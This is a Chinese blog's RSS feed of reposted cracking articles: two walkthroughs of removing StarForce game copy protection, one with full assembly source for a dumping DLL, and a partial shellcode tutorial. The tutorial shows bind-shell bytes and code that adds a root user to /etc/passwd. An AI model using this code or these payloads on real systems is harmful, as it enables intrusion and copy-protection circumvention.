﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>IT博客网-心野的小巢-文章分类-软件破解</title><link>http://www.cnitblog.com/torch/category/2471.html</link><description /><language>zh-cn</language><lastBuildDate>Wed, 07 Mar 2007 14:48:18 GMT</lastBuildDate><pubDate>Wed, 07 Mar 2007 14:48:18 GMT</pubDate><ttl>60</ttl><item><title>[转]軒轅劍伍：一劍凌雲山海情</title><link>http://www.cnitblog.com/torch/articles/15209.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 13 Aug 2006 15:50:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/15209.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/15209.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/15209.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/15209.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/15209.html</trackback:ping><description><![CDATA[軒轅劍伍：一劍凌雲山海情<br /><br />PEiD探壳:StarForce V3.X -&gt; StarForce Copy Protection System [Overlay] *<br /><br />軒轅劍伍繁体CD版是可以通过双机模拟iSCSI绕过STARFORCE的(参考游侠网上文章),脱壳前要先能双机进游戏,或者如果有正版也行<br /><br />安装完后先观察目录,所有文件包括动画都有,而且只要一开始通过了StarForce验证后,即使拿出盘也可以玩,这就是说只要脱了壳就可免CD<br /><br />OD加载swd5.exe,还没见到入口就挂了<br /><br />注意游戏目录下有个文件binkw32.dll,这个显然是播放BIK动画的<br />STARFORCE再流氓总不能程序异常出错连个非法操作也不跳出来吧?抓住这个问题就可以把OD载进去<br />先修改binkw32.dll中有个函数_BinkOpen(从名字可以猜出来播放动画肯定要调用它),在此函数入口加个int3<br />运行游戏,一放开场动画果然非法,事先把OD设为默认调试器,这个时候点调试就可以乘虚而入了<br /><br />大概调了一下发现F8,F7是不行的,会被SF发现,不过既然SF买int3的帐,当然就可以F2+F9,这样和F8也差不多，只是麻烦一点<br /><br />利用binkw32.dll断下来后就可以DUMP了,抓下来IDA一看,没想到代码居然没有变过型,入口很清楚,就在0065D00E处,而且IDA还可以把VC库函数都识别出来,SF在这方面倒是挺安分的...<br /><br />但这不是在OEP脱的,为什么非要在OEP呢?因为在OEP时全局变量没有被动过,这是非常重要的<br />举个例子,以上在binkw32.dll中断所DUMP的文件,即使把OEP,IAT修复还是会出错,这个错误出在EnterCriticalSection,因为VC的启动代码会初始化一个临界区全局变量,就是mlock.c中的PCRITICAL_SECTION _locktable[_TOTAL_LOCKS],而上面所DUMP文件中这个量并非为0,因此启动代码会认为已经初始化,从而跳过初始化过程,所以EnterCriticalSection时传递的就是无效临界区<br />程序一旦经历了后面的代码,全局变量也就不同了,人一旦经历了有些事,也就不再是原来那个人了,现在的尔玛再回山里放羊又焉能心境淡远如初?所以这么DUMP是不行的,就算可以把引起异常的变量都一一修复掉,那些不会引起异常的逻辑错误又怎么办?有些内在的东西一旦变了,不是那么容易就能变回去的<br /><br />所以还是要在OEP处DUMP,OD根本无法在调试状态下运行游戏,怎么停在OEP呢?<br />别忘了SF发现没放光盘还会提醒放入后重试,乘此良机又可钻进去:<br />先拿出光盘,运行swd5.exe,此刻kernel32.dll等文件都已经加载到内存,用WinHex编辑内存,修改GetVersion最后一行ret为CC,我的机器上这个地址是7C8114DB,然后放入光盘,点重试,SF是很给CC面子的,于是乖乖的在GetVersion非法<br />此时DUMP的文件只要修正下入口点就算是在OEP处DUMP的了<br /><br />然而IDA载入后却发现很多库函数都残废了,只有到运行时SF才会补上代码,想要精神和肉体都同时不受束缚怎么可能?现实总是充满矛盾<br />幸而在CPU里发生的事没有那么残酷,两全其美还是可能的<br />binkw32.dll处DUMP精神残废肉体健全,GetVersion处DUMP肉体残废精神正常,既然如此不妨各取其完好的地方重新拼装一个:<br />VC的全局变量段在IDA里很好识别的,swd5.exe的变量段就是006BD000处大小为297000的_brick段<br />将OEP处DUMP文件中的这个段保存下来并复制到binkw32.dll处DUMP的文件,这个文件就同时具有正确的代码和变量<br /><br />但它仍然不健全,开两个OD加载DUMP的文件和在停在GetVersion的文件,打开内存镜像对比,会发现DUMP的文件少了很多快内存段<br />这些内存段是SF动态申请的,每次地址都不同,我脱壳时这种内存有57块,地址从1220000到02200000,大小各不相同,1000,10000,40000...<br />这些里面放的是SF初始化后的变量,大概是用了SDK的原因,因为全局变量中有指向这些动态内存的指针,试想在OEP时什么都没运行,怎么会有静态指针指向动态数据?可能的解释只能是一部分变量由SF初始化(这里面包括当前的游戏目录字符串)<br /><br />这样的话只好写个loader修复了,内存段太多,不可能全保存到exe里,我写了个由ini配置文件载入段的loader,在附件中<br />在OEP处将57个段保存下来并DUMP修复全局变量段,同时保存IAT(addr=00697FFC size=340)这时用loader先载入内存段,加CC中断在OEP,再用OD载入调试,再载入IAT,这时F9已经可以免CD运行游戏了,SF所HOOK的IAT指向了那57个内存段,虽然没有识别出来,不过运行是没问题的<br /><br />IAT没有识别毕竟遗憾,但这时的程序已经脱离了老流氓的魔抓,可以用OD正常调试,要修复IAT还会难吗?<br />imprec分析后大概有20多个函数未知,用OD载入一一修复,这些函数是SF模拟了部分系统代码,对比一下还是容易识别出来的<br />比如00698060这个IAT干脆没有调用任何API,不过其中有一行指令shrd eax,edx,18<br />只要在kernel32.dll模块中搜索这个指令很容易发现00698060就是kernel32.GetTickCount<br />再比如006980FC壳代码有一行mov eax,dword ptr ds:[7C88303C],搜索此行发现是IsBadReadPtr<br />后面有个把API指令不怎么特殊,搜索不管用了,可以让OD分析user32.dll,kernel32.dll,然后call到系统DLL里时根据交叉参考分析出来<br />比如006982D4这个IAT,壳代码先调用了77D184D0,进入user32.dll,OD中间的窗口显示有所有call到这里的来源,点开"显示全部跳转和局部调用"那个窗口,一一查看,因为壳代码调用完77D184D0接着就调用了77D1B65A,所以只要看哪一个下面有call 77D1B65A,很快就发现这是GetClientRect<br />比较邪的就是HeapAlloc/HeapFree这两个函数,如果系统是XP直接定向到ntdll里,在kernel32.dll里干脆没这个符号(感谢blackthink,DiKeN,Erika,bbbsl几位朋友的帮助)<br />另外,有好几个函数在IDA里可看到有库函数调用,这就更容易,只要打开VC6的库函数代码对比一下就发现了<br />附件中有一个完整的IAT<br /><br />修完IAT后可以不用OD载入,直接用loader载入内存段就能运行,进一步处理懒得弄了(游戏目录被定死)<br /><br />轩辕剑5是个好游戏,在大陆上市了我肯定会买正版的,如今象大宇这样还在做单机RPG的公司不多了,而且简体版马上要在大陆发行,各位朋友要是做出免CD补丁,烦请别放到网上,以保护正版<br /><br />DonQuixote[CCG][iPB]<br />Email:DonQuixote@mail.nankai.edu.cn<br />2006/8/12 <img src ="http://www.cnitblog.com/torch/aggbug/15209.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-08-13 23:50 <a href="http://www.cnitblog.com/torch/articles/15209.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>转载一篇StarForce的脱壳</title><link>http://www.cnitblog.com/torch/articles/15208.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 13 Aug 2006 15:31:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/15208.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/15208.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/15208.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/15208.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/15208.html</trackback:ping><description><![CDATA[2000 年终最值得纪念的恐怕就是 Cossacks : The European wars －－第一个使用Star-Force 保护系统游戏的推出了。Star-Force的出现给程序研究者带来了很多新的问题，现在是给这些问题一个答案的时候了。 <br />  <br />Star-Force是怎样的保护？ <br />  <br />这个保护系统最强的主要是以下几点：它的核心是一个伪代码的解释器，伪代码<br />大大复杂了对Star-Force的研究工作；一部分导入函数(imported function) <br />的代码是从系统库中拷贝出来并进行修改过的；一部分程序代码只有在执行时候才解密出来。除了这些，保护中还大量的应用了下面这些手段：检测某些内存段的CRC 校验和，经常性地将调试寄存器DRx清零，利用RDTSC指令来控制解码不同块代码的时刻（译者注：这句不是很明白，此句是对照两种不同的英文机器译本硬译出的），最后一块代码的解码甚至是通过截获int0在 ring0 中进行的。关于这个保护的详细情况我大致就介绍这么多，因为我们将另辟蹊径，使这些保护方法中的大多数在我们面前根本起不了作用。 <br /><br />Dump <br />在这个版本中Dump还是一件很简单的事情，在protect.dll中跳转到原始入口点 <br />之前大致是这样的代码： <br />push 64h <br />MOV of eax, [Kernel32!Sleep ] <br />call eax <br />ret <br />因此我们设一个 bpx Sleep，启动游戏，在断点处停下来，跟进 ret 指令，然 <br />后用PEditor之类就可以dump了。 <br />  <br />恢复import <br />  <br />Star-Force所使用的import保护技术是我所见过的保护程序中最强的一种。在传<br />统的保护中一般最后都是跳转到真正的函数入口处，或者跳转到真正函数入口几条指令之 <br />后的地方。在Star-Force中，所有从kernel32.dll user32.dll advapi32.dll <br />中import的函数代码都整个被拷贝到保护代码的内存中了(除了push,pop,jxx 指令)，拷 <br />贝过来的代码按照下面的规则进行了修改： <br />1: ?????? 改成 nop 和 jmp short $2 (译者注：这里没有一个软件可以正确 <br />翻译出原来的代码，大家猜猜是什么呢？) <br />2: push 12345678h 修改成 <br />MOV eax, 12345678h <br />xchg eax, [esp] <br />3: push esi 修改成 <br />xchg eax, esi <br />push eax <br />xchg eax, esi <br />4: pop esi 修改成 <br />MOV esi, eax <br />pop eax <br />xchg eax, esi <br />5: 两字节的 jcc 代码被修改成 6 字节的相应代码 (译者注：即 0F 开头的相对跳转代码) <br />6: 两字节的 push 00h 修改成 5 字节的版本 import 函数入口的长跳转 jmp X 修改成 jmp $+5 ，在首次执行到入口时，X指向的代码进行将windows库函数代码复制和修改的一系列工作，并将 jmp 指令指向修改后的代码。（译者注：原文说得不是很清楚，这一段是按照自己的理解翻译的，可能有误）不过就这个游戏来说，被保护的函数只有11个，因此我决定用手动恢复它们（在我后来对游戏Venom的研究中解决了这个问题）：把代码手动转换回原始的形式，用sice在内存中搜索入口前10个字节左右相同的库函数。找出的函数结果按照在保护代码的内存中位置排列如下： <br />ReadFile, GetUserNameA, FindNextFileA, WriteFile, VirtualFree, GetFileType,VirtualAlloc, CreateFileA, DeleteFileA, FindClose, MessageBoxA <br />将所有import都手动恢复以后，我们就使用一个我常用的工具 ImportList by Boris来重建 IT。我们把它放进 dump 里面，这部分的工作就完成了。 <br />恢复 _DllDispatch 的代码还没有看晕？那我们进行下一步工作。在我们 dump 出来的代码中大约有20多处（！）调用了 _DllDispatch -- protect.dll中唯一的导出函数。调用它的代码大概看起来是这样的： <br />push ID <br />call _DllDispatch <br />其中 ID 这个参数决定了哪一段代码需要被解码并执行，ID = 0 的情况是将主 <br />程序解码出来。值得注意的是，解码出来的代码仍然包含着对 _DllDispatch 的调用。但是这个 _DllDispatch是用前面提到过的伪代码引擎执行的伪代码。怎么办呢？自己跟踪每一个调用直到跳转到实际的代码？（译者注：自己的理解）你如果愿意试可以自己去试，不过我将提供一种更有趣的方法，一次性自动获得所有被保护的代码。为了做到这一点就需要自己写点程序了。 <br />首先我们知道一旦被执行过一次，需要的代码就以解密的形式存在内存中了，怎么捕捉到这一时刻呢？很简单，每个这样的函数多少都会执行到原来的代码中，因此我们可以截获对_DllDispatch的调用，在将控制权交给protect.dll之前，把原代码段统统清成0CCh，这样从解码出来的代码跳转出来到任何地方都会触发中断，我们截获int 3就可以处理之。更进一步的，我们从ring0的堆栈中找到ring3的堆栈标志，然后就可以很快找到解码出来的代码了。 <br />  <br />对实现的一些说明 <br />  <br />为了方便处理类似的游戏，我建议将我们的deprotect.dll 加入到程序的import中，它就可以截获protect.dll的入口了，不过这时程序的代码还没有被解码出来，只有一个指向protect.dll中的入口调用。我们把它修改一下，使得当protect.dll将代码段解码之后将控制权返回给我们的dll, 接下来我们搜索游戏的代码，就可以找到很多对_DllDispatch的调用，以及它们对应的ID，把ID都存到一个文件里面以避免出现重复的。 <br />然后我们挨个用这些ID调用_DllDispatch，在 int 3 的处理函数里面将控制权正确的交给我们的搜索-恢复函数。我们需要在解码出的代码中继续搜寻对 _DllDispatch的调用以得到全部代码。当然还得把调用这一次DllDispatch的代码修改成直接调用解密代码。 <br />因此搜索需要进行两遍，一遍在原来的代码中，另一遍在解密后的代码中。 <br />全部工作做完以后，我们得到了两个文件，一个是text.bin，这是程序代码段中的代码，另一个是code.bin，这是经_DllDispatch解密出的代码,需要手动加到dump中去。整个EXE文件组装完毕后, protect.dll 就没用了，可以删掉。 <br />  <br />最后的一点修正 <br />  <br />启动解密后的游戏试验一下，结果很令人失望：金钱狂涨到无限多，任务说明不<br />显示，TCP/IP联网对战时选择地图后不生成地图。前两个问题好像是文件名的问题，把可执行文件改成 dmcr.exe 就正常了，最后一个错误原因是对某一个_DllDispatch的恢复时出错，大约是这个_DllDispatch中没有跳到其他的代码，就没有被我们的程序捕捉到（译者注：这里大概是一个没有调用任何其他函数的函数），导致最后生成的代码里面有一个错误的调用。这样的函数是我们研究的一个盲点，不过就这个例子来说很好解决，手动跟踪了一下，看出这个函数的地址(译者注：在解码内存区域中的偏移量) 是0A3Ch，手动修改一下调用，把5个nop改成对这里的调用就可以了。 <br />现在所有的问题都解决了，Star-Force完全被搞定了。 <br />  <br />源程序 <br />  <br />deprotect.asm (7K) 源程序，使用 TASM5.0 编译成 DLL <br />deprotect.dll (8K) 编译好的DLL文件 <br /><br />注意：这个DLL只适用于文中提到的游戏。 <br />（译者注：上面两个程序的URL如下 <br />http://www.reversing.net/articles/122001/deprotect.asm <br />http://www.reversing.net/articles/122001/deprotect.dll <br />） <br /><br />附deprotect.asp<br /><br />.586p<br />.model flat, stdcall<br /><br />extrn  ExitProcess:PROC, CreateFileA:PROC, WriteFile:PROC, \<br />CloseHandle:PROC, VirtualAlloc:PROC, GetModuleHandleA:PROC, \<br />GetProcAddress:PROC, GetCommandLineA:PROC<br /><br />publicdll _DllPatch<br /><br />;------------------------------------------------------------------------<br />.data ; Данные<br />;------------------------------------------------------------------------<br /><br />DllName db 'protect.dll',0<br />FuncName db '_DllDispatch',0<br />CodePath db 'code.bin',0<br />TextPath db 'text.bin',0<br /><br />FirstJump  dd 0<br />_DllDispatch dd 0<br />_DllDispatchInExe dd 0<br />CodeSection dd 0 ; Смещение секции кода<br /><br />Buf dd 0 ; Буфер под секцию кода<br />FoundCode dd 0 ; Буфер для найденного кода<br />IdCalls dd 0 ; Буфер для идентификаторов<br /><br />_edi dd 0<br />_ecx dd 0<br /><br />Base dd 0<br />Base1 dd 0<br />SearchSize dd 0<br />SearchStep db 0<br />BufSize dd 300000h<br /><br />NewCodeSectionRVA dd 0 ; Адрес новой секции<br />IdCallsOffset dd 0 ; Смещение в массиве идентификаторов<br />CodeOffset dd 0 ; Смещение в найденном коде<br />EntryPoint dd 0 ; Точка входа<br /><br />int3 dd 0 ; Адрес INT3<br /><br />Address dq 0 ; Временные переменные<br />Temp dd 0<br /><br /><br />;------------------------------------------------------------------------<br />.code ; Код<br />;------------------------------------------------------------------------<br /><br />start:<br />cmp dword ptr [esp+8],1<br />jne DontInit<br /><br />call VirtualAlloc, 0, BufSize, 1000h, 4 ; Память под буфера<br />mov Buf,eax<br /><br />call VirtualAlloc, 0, 10000h, 1000h, 4<br />mov FoundCode,eax<br /><br />call VirtualAlloc, 0, 100h, 1000h, 4<br />mov IdCalls,eax<br /><br />call GetModuleHandleA, offset DllName ; Настройка констант<br />call GetProcAddress, eax, offset FuncName<br /><br />mov _DllDispatch,eax<br /><br />call GetCommandLineA<br /><br />inc eax<br />push eax<br /><br />mov edi,eax<br />mov ecx,100h<br />mov eax,'"'<br />repnz scasb<br />dec edi<br />xor eax,eax<br />stosd<br /><br />call GetModuleHandleA<br />mov NewCodeSectionRVA,eax<br /><br />mov edi,[eax+3Ch] ; PE-смещение<br />add edi,eax<br /><br />mov edx,[edi+50h]<br />add NewCodeSectionRVA,edx<br /><br />mov edx,[edi+2Ch]<br />add edx,eax<br />mov CodeSection,edx<br /><br />mov edx,[edi+28h]<br />add edx,eax<br />mov EntryPoint,edx<br /><br />mov eax,[edi+100h]<br />shr eax,2<br />inc eax<br />shl eax,2<br />mov BufSize,eax<br /><br />mov esi,offset codestart ; Изменить код на старте<br />mov edi,edx<br />mov ecx,[edi+1]<br />add ecx,edi<br />add ecx,5<br />mov FirstJump,ecx<br />mov ecx,offset codeend<br />sub ecx,esi<br />rep movsb<br /><br />DontInit:<br />xor eax,eax<br />inc eax<br />ret 0Ch<br /><br />codestart:<br />push offset Control+5 ; Наш код на старте exe-шника<br />mov eax,FirstJump<br />jmp eax<br />codeend:<br /><br />;------------------------------------------------------------------------<br />; Процедура, получающая управление после полной распаковки кода<br /><br />Control:<br /><br />mov eax,_DllDispatch ; Настройка констант<br />mov edi,CodeSection<br />xor ecx,ecx<br />dec ecx<br />_s:<br />repnz scasd<br /><br />mov edx,[edi+4]<br />shr edx,18h<br />cmp dl,0BFh<br />jne _s<br /><br />mov eax,edi<br />sub eax,4<br />mov esi,CodeSection<br />_s1:<br />inc esi<br />cmp eax,[esi]<br />jne _s1<br /><br />cmp word ptr [esi-2],25FFh<br />jne _s1<br /><br />lea eax,[esi-2]<br />mov _DllDispatchInExe,eax<br /><br /><br />mov ecx,BufSize ; Скопировать секцию кода<br />shr ecx,2<br />mov edx,ecx<br />mov edi,Buf<br />mov esi,CodeSection<br />rep movsd<br /><br />mov ecx,edx ; Сменить секцию кода на INT3<br />mov eax,0CCCCCCCCh<br />mov edi,CodeSection<br />rep stosd<br /><br />mov eax,offset Address ; Установить свой обработчик INT3<br />sidt [eax]<br />mov edx,[eax+2]<br /><br />add edx,8*3<br />mov cx,[edx+6]<br />shl ecx,10h<br />mov cx,[edx]<br /><br />mov int3,ecx<br /><br />mov ebx,offset Int3Handler<br />mov [edx],bx<br />shr ebx,10h<br />mov [edx+6],bx<br /><br />mov eax,Buf<br />mov Base,eax<br /><br />mov eax,CodeSection<br />mov Base1,eax<br /><br />mov eax,BufSize<br />sub eax,4<br />mov SearchSize,eax<br /><br />GFind:<br />mov ecx,SearchSize ; Искать 'call _DllDispatch'<br />mov edi,Base<br />mov _edi,edi<br />mov _ecx,ecx<br /><br />Find: <br />mov edi,_edi<br />mov ecx,_ecx<br />mov al,0E8h<br />repnz scasb<br /><br />test ecx,ecx<br />jne ConStep<br /><br />inc SearchStep ; Обеспечить два прохода<br />cmp SearchStep,2<br />je Exit<br /><br />mov eax,FoundCode<br />mov Base,eax<br />mov eax,NewCodeSectionRVA<br />mov Base1,eax<br />mov eax,CodeOffset<br />mov SearchSize,eax<br /><br />jmp GFind<br /><br />ConStep:<br />mov _edi,edi<br />mov _ecx,ecx<br /><br />mov ebx,[edi]<br />sub edi,Base<br />add edi,Base1<br />add ebx,edi<br />add ebx,4<br /><br />cmp ebx,_DllDispatchInExe<br />jne Find<br /><br />mov edi,_edi<br />mov eax,[edi-5] ; Получить идентификаторы<br /><br />mov edi,IdCalls ; Не дублироваться<br />mov ecx,IdCallsOffset<br />shr ecx,2<br />test edi,edi<br />repnz scasd<br /><br />setz cl<br />test cl,cl<br />je Insert<br /><br />mov edx,[edi]<br /><br />jmp Begin<br />Insert:<br />stosd<br />mov eax,CodeOffset<br />stosd<br /><br />add IdCallsOffset,8<br />mov edx,CodeOffset<br /><br />Begin:<br />mov edi,_edi ; Исправление вызвавшего call'а<br />sub edi,6<br />mov eax,90909090h<br />stosb<br />mov esi,[edi]<br />stosd<br />inc edi<br />mov eax,NewCodeSectionRVA<br />add eax,edx<br />sub eax,Base1<br />sub eax,edi<br />add eax,Base<br />sub eax,4<br />stosd<br />sub dword ptr [edi+2],4<br /><br />test cl,cl<br />jne Continue<br /><br />push esi ; Вызвать очередной _DllDispatch<br />call _DllDispatch<br /><br />Continue:<br />jmp Find<br /><br />Exit:<br />mov eax,offset Address ; Восстановить IDT<br />sidt [eax]<br />mov edx,[eax+2]<br />add edx,8*3<br /><br />mov ebx,int3<br />mov [edx],bx<br />shr ebx,10h<br />mov [edx+6],bx<br /><br />call WriteResults<br />call ExitProcess, 0<br /><br />;-----------------------------------------------------<br />Int3Handler: ; Обработчик INT3       <br />;-----------------------------------------------------<br /><br />pushfd<br />pushad<br /><br />mov eax,offset Continue ; Вернуться из обработчика к нам<br />mov [esp+24h],eax<br /><br />mov ax,8B55h ; Найти очередной call<br />mov edi,[esp+30h]<br />mov edi,[edi]<br />mov ecx,1000h<br />_loop1:<br />cmp [edi],ax<br />je l1<br />dec edi<br />loop _loop1<br /><br />l1:<br />mov esi,edi<br /><br />mov ax,0C35Dh<br />mov ecx,1000h<br />_loop2:<br />cmp [edi],ax<br />je l2<br />inc edi<br />loop _loop2<br />l2:<br />mov ecx,edi ; Поправить call'ы в найденном коде<br />sub ecx,esi<br />add ecx,2<br />mov edx,ecx<br /><br />mov edi,FoundCode<br />add edi,CodeOffset<br /><br />_jmp:<br />cmp byte ptr [esi],0E8h<br />jne _move<br />mov eax,[esi+1]<br />add eax,esi<br />cmp eax,600000h<br />jg _move<br />cmp eax,400000h<br />jl _move<br /><br />mov eax,[esi+1]<br />add eax,FoundCode<br />add eax,esi<br />sub eax,edi<br />sub eax,NewCodeSectionRVA<br />mov [esi+1],eax<br /><br />_move:<br /><br />movsb ; Скопировать очередной call<br />dec ecx<br />jne _jmp<br /><br />add CodeOffset,edx<br /><br />popad<br />popfd<br /><br />iretd<br /><br />;------------------------------------------------------------------------<br />; Запись результатов<br /><br />WriteResults:<br /><br />call CreateFileA, offset CodePath, 40000000h, 0, 0, 2, 80h, 0<br />call WriteFile, eax, FoundCode, CodeOffset, offset Temp, 0<br />call CloseHandle, eax<br /><br />call CreateFileA, offset TextPath, 40000000h, 0, 0, 2, 80h, 0<br />call WriteFile, eax, Buf, BufSize, offset Temp, 0<br />call CloseHandle, eax<br /><br />ret<br /><br />;------------------------------------------------------------------------<br />; Экспортируемая функция для удобства добавления библиотеки в EXE<br /><br />_DllPatch:<br /><br />ret<br /><br />;------------------------------------------------------------------------<br /><br />end start <img src ="http://www.cnitblog.com/torch/aggbug/15208.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/torch/" target="_blank">心野</a> 2006-08-13 23:31 <a href="http://www.cnitblog.com/torch/articles/15208.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>缓冲区溢出是如何工作的（英文）？</title><link>http://www.cnitblog.com/torch/articles/12835.html</link><dc:creator>心野</dc:creator><author>心野</author><pubDate>Sun, 25 Jun 2006 08:56:00 GMT</pubDate><guid>http://www.cnitblog.com/torch/articles/12835.html</guid><wfw:comment>http://www.cnitblog.com/torch/comments/12835.html</wfw:comment><comments>http://www.cnitblog.com/torch/articles/12835.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/torch/comments/commentRss/12835.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/torch/services/trackbacks/12835.html</trackback:ping><description><![CDATA[
		<span class="tpc_title">How Shellcodes Work</span>
		<br />
		<br />
		<span class="tpc_content">by Peter Mikhalenko<br />05/18/2006 <br /><br />It's not an easy task to find a vulnerable service and find an exploit for it. It's also not easy to defend against users who might want to exploit your system, if you are a system administrator. However, writing an exploit by yourself, to convert a news line from bug tracker into a working lockpick, is much more difficult. This article is not a guide on writing exploits, nor an overview of popular vulnerabilities. This is a step-by-step guide on developing a shellcode, a crucial point of any exploit software. Hopefully, learning how they work will help conscientious and respectable developers and system administrators to understand how malefactors think and to defend their systems against them.<br /><br /><font color="blue">How an Exploit Works</font><br />Take any exploit downloaded from the internet that promises you an easy root shell on a remote machine, and examine its source code. Find the most unintelligible piece of the code; it will be there, for sure. Most probably, you will find a several lines of strange and unrelated symbols; something like this:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code1">char shellcode[] =<br />"\x33\xc9\x83\xe9\xeb\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8a"<br />"\xd4\xf2\xe7\x83\xeb\xfc\xe2\xf4\xbb\x0f\xa1\xa4\xd9\xbe\xf0\x8d"<br />"\xec\x8c\x6b\x6e\x6b\x19\x72\x71\xc9\x86\x94\x8f\x9b\x88\x94\xb4"<br />"\x03\x35\x98\x81\xd2\x84\xa3\xb1\x03\x35\x3f\x67\x3a\xb2\x23\x04"<br />"\x47\x54\xa0\xb5\xdc\x97\x7b\x06\x3a\xb2\x3f\x67\x19\xbe\xf0\xbe"<br />"\x3a\xeb\x3f\x67\xc3\xad\x0b\x57\x81\x86\x9a\xc8\xa5\xa7\x9a\x8f"<br />"\xa5\xb6\x9b\x89\x03\x37\xa0\xb4\x03\x35\x3f\x67";</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code1'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />This is shellcode, also sometimes referred to as "bytecode." Its content is not a magic word or random symbols. This is a set of low-level machine commands, the same as are in an executable file. This example shellcode opens port 4444 on a local Linux box and ties a Bourne shell to it with root privileges. With a shellcode, you can also reboot a system, send a file to an email, etc. The main task for an exploit program is therefore to make this shellcode work.<br /><br />Take, for example, a widely known error-buffer overflow. Developers often check data that has been received as input for functions. A simple example: the developer creates a dynamic array, allocates for it 100 bytes, and does not control the real number of elements. All elements that are out of the bounds of this array will be put into a stack, and a so-called buffer overflow will occur. An exploit's task is to overflow a buffer and, after that, change the return address of system execution to the address of the shellcode. If a shellcode can get control, it will be executed. It's pretty simple.<br /><br />As I already said, this article is not a guide for writing exploits. There are many repositories with existing shellcodes (shellcode.org, Metasploit); however, it is not always enough. A shellcode is a low-level sequence of machine commands closely tied to a dedicated processor architecture and operating system. This is why understanding how it works can help prevent intrusions into your environment.<br /><br /><font color="blue">What Is It For?</font><br />To follow along, I expect you to have at least minimal assembly knowledge. As a platform for experiments, I chose Linux with a 32-bit x86 processor. Most exploits are intended for Unix services; therefore, they are of most interest. You need several additional tools: Netwide Assembler (nasm), ndisasm, and hexdump. Most Linux distributions include these by default.<br /><br /><font color="blue">The Process of Building</font><br />Shellcode stubs are usually written in assembler; however, it is easier to explain how one works by building it in C and then rewriting the same code in assembly. This is C code for appending a user into /etc/passwd:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code2">#include &lt;stdio.h&gt;<br />#include &lt;fcntl.h&gt;<br /><br />main() {<br />  char *filename = "/etc/passwd";<br />  char *line   = "hacker:x:0:0::/:/bin/sh\n";<br />  int f_open;<br />  f_open       = open(filename,O_WRONLY|O_APPEND);<br />  write(f_open, line, strlen(line));<br />  close(f_open);<br />  exit(0);<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code2'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />All of the code is pretty simple, except maybe the open() function. The constant O_WRONLY|O_APPEND given as a parameter opens the file fact for writing and appends the new data to the end of the file.<br /><br /><font color="darkred">Here is a more usable example: executing a Bourne shell</font>:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code3">#include &lt;stdio.h&gt;<br /><br />main() {<br />  char *name[2];<br />  name[0] = "/bin/sh";<br />  name[1] = NULL;<br />  setreuid(0, 0);<br />  execve(name[0],name, NULL);<br />}</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code3'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br />The setreuid(0,0) call attempts to obtain root privileges (if it is possible). execve(const char filename,const char[] argv, const char[] envp) is a main system call that executes any binary file or script. It has three parameters: filename is a full path to an executable file, argv[] is an array of arguments, and envp[] is an array of strings in the format key=value. Both arrays must end with a NULL element.<br /><br />Now consider how to rewrite the C code given in the first example in assembly. x86 assembly executes system calls with help of a special system interrupt that reads the number of the function from the EAX register and then executes the corresponding function. The function codes are in the file /usr/include/asm/unistd.h. For example, a line in this file, #define __NR_ open 5, means that the function open() has the identification number 5. In a similar way, you can find all other function codes: exit() is 1, close() is 6, setreuid() is 70, and execve() is 11. This knowledge is enough to write a simple working application. The /etc/passwd amendment application code in assembly is:<br /><br /><div style="FONT-SIZE: 9px; MARGIN-LEFT: 20px"><b>CODE:</b></div><div class="quote" id="code4">section .data<br />filename db '/etc/passwd', 0<br />line db 'hacker:x:0:0::/:/bin/sh',0x0a<br /><br />section .text<br />global _start<br /><br />_start:<br />; open(filename,O_WRONLY|O_APPEND)<br />mov eax, 5<br />mov ebx, filename<br />mov ecx, 1025<br />int 0x80<br />mov ebx, eax<br /><br />; write(f_open, line, 24)<br />mov eax, 4<br />mov ecx, line<br />mov edx, 24<br />int 0x80<br /><br />; close(f_open)<br />mov eax, 6<br />int 0x80<br /><br />; exit(0)<br />mov eax, 1<br />mov ebx, 0<br />int 0x80</div><div style="FONT-SIZE: 11px; MARGIN-LEFT: 20px"><a onclick="CopyCode(document.getElementById('code4'));" href="javascript:"><font color="#000000">[Copy to clipboard]</font></a></div><br /><br />It's a well-known fact that an assembly program consists of three segments: the data segment, which contains variables; the code 